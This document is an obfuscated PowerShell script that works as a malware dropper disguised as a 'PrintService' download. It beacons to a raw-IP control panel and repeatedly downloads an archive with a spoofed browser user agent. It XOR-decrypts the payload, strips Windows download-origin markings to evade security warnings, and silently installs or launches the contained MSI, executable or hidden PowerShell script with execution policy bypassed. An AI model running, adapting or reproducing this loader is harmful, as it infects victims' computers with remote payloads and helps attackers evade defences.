$tauP = 'Silent'; $SoCd = 'lyContinue'; $ProgressPreference = ($tauP + $SoCd); $global:ProgressPreference = $ProgressPreference try { $tQRvO = [guid]::NewGuid().ToString("N"); $cbu = "http://93.152.223.160/dl-callback/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip/" + $tQRvO $JYMcJ = [ordered]@{} $avVhl = "X-Panel-Callback" $UPglH = "1" $JYMcJ[$avVhl] = $UPglH Invoke-WebRequest -Uri $cbu -Headers $JYMcJ -UseBasicParsing -TimeoutSec 15 | Out-Null } catch { } $PHhHDy = $env:TEMP New-Item -ItemType Directory -Path $PHhHDy -Force | Out-Null $WrMJId = $null function Dyafpsn { param([string]$u, [string]$p, [string]$n = '') $ProgressPreference = 'SilentlyContinue'; $global:ProgressPreference = 'SilentlyContinue' $destDir = Split-Path $p -Parent if ($destDir -and -not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null } Remove-Item -Path $p -Force -ErrorAction SilentlyContinue $asRx = '' $eexqh = $false while (-not $eexqh) { $vKwGx = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.dat') Remove-Item -Path $vKwGx -Force -ErrorAction SilentlyContinue try { & curl.exe -L -f -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "X-Panel-Internal: 1" -o $vKwGx -- $u if ($LASTEXITCODE -eq 0 -and (Test-Path $vKwGx) -and ((Get-Item $vKwGx).Length -gt 0)) { $hRCen = [IO.File]::ReadAllBytes($vKwGx) Remove-Item -Path $vKwGx -Force -ErrorAction SilentlyContinue if ($hRCen.Length -ge 2 -and $hRCen[0] -eq 0x4D -and $hRCen[1] -eq 0x5A) { [IO.File]::WriteAllBytes($p, $hRCen) } elseif ($asRx -and $hRCen.Length -gt 0) { $TsxK = if ($n) { $n } else { [IO.Path]::GetFileName($p) } $TRzB = $TsxK $RlXu = 'rx:' + $asRx + ':' + $TRzB $LTPl = New-Object System.Security.Cryptography.SHA256Managed $QZRk = $LTPl.ComputeHash([Text.Encoding]::UTF8.GetBytes($RlXu))[0..31] $grRUH = New-Object byte[] $hRCen.Length $hCMr = $QZRk.Length for ($sNs = 0; $sNs -lt $hRCen.Length; $sNs++) { $grRUH[$sNs] = $hRCen[$sNs] -bxor $QZRk[$sNs % $hCMr] } [IO.File]::WriteAllBytes($p, $grRUH) } else { [IO.File]::WriteAllBytes($p, $hRCen) } if ((Test-Path $p) -and ((Get-Item $p).Length -gt 0)) { try { Unblock-File -Path $p -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $p -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $eexqh = $true } } } catch { } if (-not $eexqh) { Start-Sleep -Seconds 5 } } return ($eexqh -and (Test-Path $p) -and ((Get-Item $p).Length -gt 0)) } function DecUpGQ { param([string]$p) $yRqExX = $p + "_x" try { if (Test-Path $yRqExX) { Remove-Item $yRqExX -Recurse -Force -EA 0 } } catch { } New-Item -ItemType Directory -Path $yRqExX -Force | Out-Null $xOk = $false if ([IO.Path]::GetExtension($p).ToLower() -eq ".zip" -and (-not $WrMJId)) { try { Expand-Archive -Path $p -DestinationPath $yRqExX -Force; $xOk = $true } catch { } if (-not $xOk) { try { Add-Type -AssemblyName System.IO.Compression.FileSystem -EA 0 [IO.Compression.ZipFile]::ExtractToDirectory($p, $yRqExX) $xOk = $true } catch { } } } if (-not $xOk) { @("C:\Program Files\7-Zip\7z.exe","C:\Program Files (x86)\7-Zip\7z.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $za = "x `"$p`" -o`"$yRqExX`" -y" if ($WrMJId) { $za += " -p`"$WrMJId`"" } $zp = Start-Process -FilePath $_ -ArgumentList $za -Wait -PassThru -WindowStyle Hidden if ($zp.ExitCode -eq 0) { $xOk = $true } } } if (-not $xOk) { @("C:\Program Files\WinRAR\Rar.exe","C:\Program Files (x86)\WinRAR\Rar.exe") | ForEach-Object { if ($xOk -or -not (Test-Path $_)) { return } $ra = "x -y" if ($WrMJId) { $ra += " -p`"$WrMJId`"" } $ra += " `"$p`" `"$yRqExX`"" Start-Process -FilePath $_ -ArgumentList $ra -Wait -WindowStyle Hidden $xOk = $true } } $msi = Get-ChildItem -Path $yRqExX -Recurse -Filter "*.msi" -EA 0 | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length } | Select-Object -First 1 if ($msi) { $qFmXoh = $msi.FullName if (-not (Test-Path $qFmXoh)) { return } try { Unblock-File -Path $qFmXoh -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $qFmXoh -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } $mvYX = Join-Path $env:SystemRoot ("System32\" + "msi" + "exec.exe") if ($env:PROCESSOR_ARCHITECTURE -eq "x86" -and (Test-Path (Join-Path $env:SystemRoot "Sysnative\msiexec.exe"))) { $mvYX = Join-Path $env:SystemRoot "Sysnative\msiexec.exe" } & $mvYX /i $qFmXoh /qn /norestart return } $exes = @(Get-ChildItem -Path $yRqExX -Recurse -Filter "*.exe" -EA 0 | Where-Object { $_.Name.ToLower() -notin @('wget.exe','curl.exe','winrar.exe','rar.exe','7z.exe','7za.exe','7zfm.exe','7zg.exe','unrar.exe','bsdtar.exe','tar.exe','expand.exe','bitsadmin.exe','setup.exe','install.exe') }) $runDir = Join-Path $yRqExX "run" if (-not (Test-Path $runDir)) { $runHit = Get-ChildItem -Path $yRqExX -Recurse -Directory -EA 0 | Where-Object { $_.Name -ieq "run" } | Select-Object -First 1 if ($runHit) { $runDir = $runHit.FullName } } if ($runDir -and (Test-Path $runDir)) { $inRunOnly = @($exes | Where-Object { $_.FullName.StartsWith($runDir, [StringComparison]::OrdinalIgnoreCase) }) if ($inRunOnly.Count -gt 0) { $exes = $inRunOnly } } $pick = $null if ($exes.Count -gt 0) { $inRun = @($exes | Where-Object { $_.FullName -match '[\\/]run[\\/]' } | Sort-Object { $_.FullName.Split([char]92).Count }, { -$_.Length }) if ($inRun.Count -gt 0) { $pick = $inRun[0] } if (-not $pick) { $archBase = [IO.Path]::GetFileNameWithoutExtension($p) $named = @($exes | Where-Object { $_.BaseName -like ($archBase + '*') -or $archBase -like ($_.BaseName + '*') } | Sort-Object { -$_.Length }) if ($named.Count -gt 0) { $pick = $named[0] } } if (-not $pick) { $pick = ($exes | Sort-Object { -$_.Length } | Select-Object -First 1) } } if ($pick) { $qFmXoh = $pick.FullName if (-not (Test-Path $qFmXoh)) { return } try { Unblock-File -Path $qFmXoh -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $qFmXoh -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } if (Test-Path $qFmXoh) { Start-Process -FilePath $qFmXoh } return } $ps1 = Get-ChildItem -Path $yRqExX -Recurse -Filter "*.ps1" -EA 0 | Select-Object -First 1 if ($ps1) { $qFmXoh = $ps1.FullName if (-not (Test-Path $qFmXoh)) { return } try { Unblock-File -Path $qFmXoh -ErrorAction SilentlyContinue } catch { } try { Remove-Item -Path $qFmXoh -Stream Zone.Identifier -ErrorAction SilentlyContinue } catch { } Start-Process powershell.exe -WindowStyle Hidden -ArgumentList @("-NoProfile","-ExecutionPolicy","Bypass","-File",$qFmXoh) } } $schznI = "http://93.152.223.160/h6gekp4f-zc4m4q95-tnjbs99y-ckjmffy6/PrintService.zip" $YuSJsz = Join-Path $PHhHDy "PrintService.zip" if (& Dyafpsn $schznI $YuSJsz "PrintService.zip") { & DecUpGQ $YuSJsz }